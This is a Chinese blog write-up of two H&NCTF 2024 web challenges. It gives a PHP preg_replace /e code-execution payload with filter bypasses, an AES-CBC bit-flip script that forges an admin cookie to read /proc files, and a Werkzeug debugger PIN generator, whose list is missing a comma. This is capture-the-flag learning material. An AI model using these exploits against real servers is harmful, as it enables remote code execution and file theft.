H&NCTF

本文最后更新于 2024年5月14日 晚上

前言:比赛也没怎么打,就看了看,自己会的还是太少了,等师傅们发完wp想看看复现一遍的,先写写记录一下知识。

Web

Please_RCE_Me

***知识点:***rce绕过-编码绕过

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

分析:post传入两个值,task正则绕过,flag大小写绕过

​ 然后replace,意思就是执行task传入的内容。

解题:首先构造flag,我们随便改个大小写就行,please_give_me_flaG,然后看task,常用的rce函数都被禁用了,我尝试了scandir读取内容失败了,学习了一会,可以先base64加密再解密得到想要的/flag,

payload:task=var_dump(readfile(base64_decode("L2ZsYWc=")))&flag=please_give_me_flaG

rce

也可以用rot-13解密,task=var_dump(readfile(str_rot13("/synt")))&flag=please_give_me_flaG

这样也是可以的,可以多尝试看看。(回头看了一下其他师傅的知识点,其实有许多绕过的方法

flipPin

知识点:提示看hint,可以给到源码,放一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

先审计一下代码

flipPin

是AES-CBC字节反转攻击,

该方面的信息也是不太懂,搜索了一下内容如下

Flask在debug模式下会生成一个Debugger PIN,而且如果你多次重启Flask服务,PIN码值不改变。

通常情况下,对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在**/etc/machine-id/proc/sys/kernel/random/boot_id**,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup:

也是借用一下师傅的代码吧,我自己也不会写(之后准备系统学一下相关知识

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:34024/"
default_session = '{"admin": 0, "username": "user1"}'#源代码给的非管理员用户信息
res = requests.get(url)#发送了一个 GET 请求到目标网站,用于获取一个默认的加密会话。
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1#session从0改为1
evil = b64encode(c).decode()

res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil})
#
print(res.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'226622582027708',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id 2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f'+'51b9b7cd533a81e6baec0204f59b346b6558a68bed89cfda595ad4a35cc46a39'# /proc/sys/kernel/random/boot_id + /proc/1/cpuset
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

得到pin,在console里面输入pin

console

大部分都是借鉴的,之后会系统的学一下。


H&NCTF
https://0ran9ewww.github.io/2024/05/13/H&NCTF 2024/
作者
orange
发布于
2024年5月13日
许可协议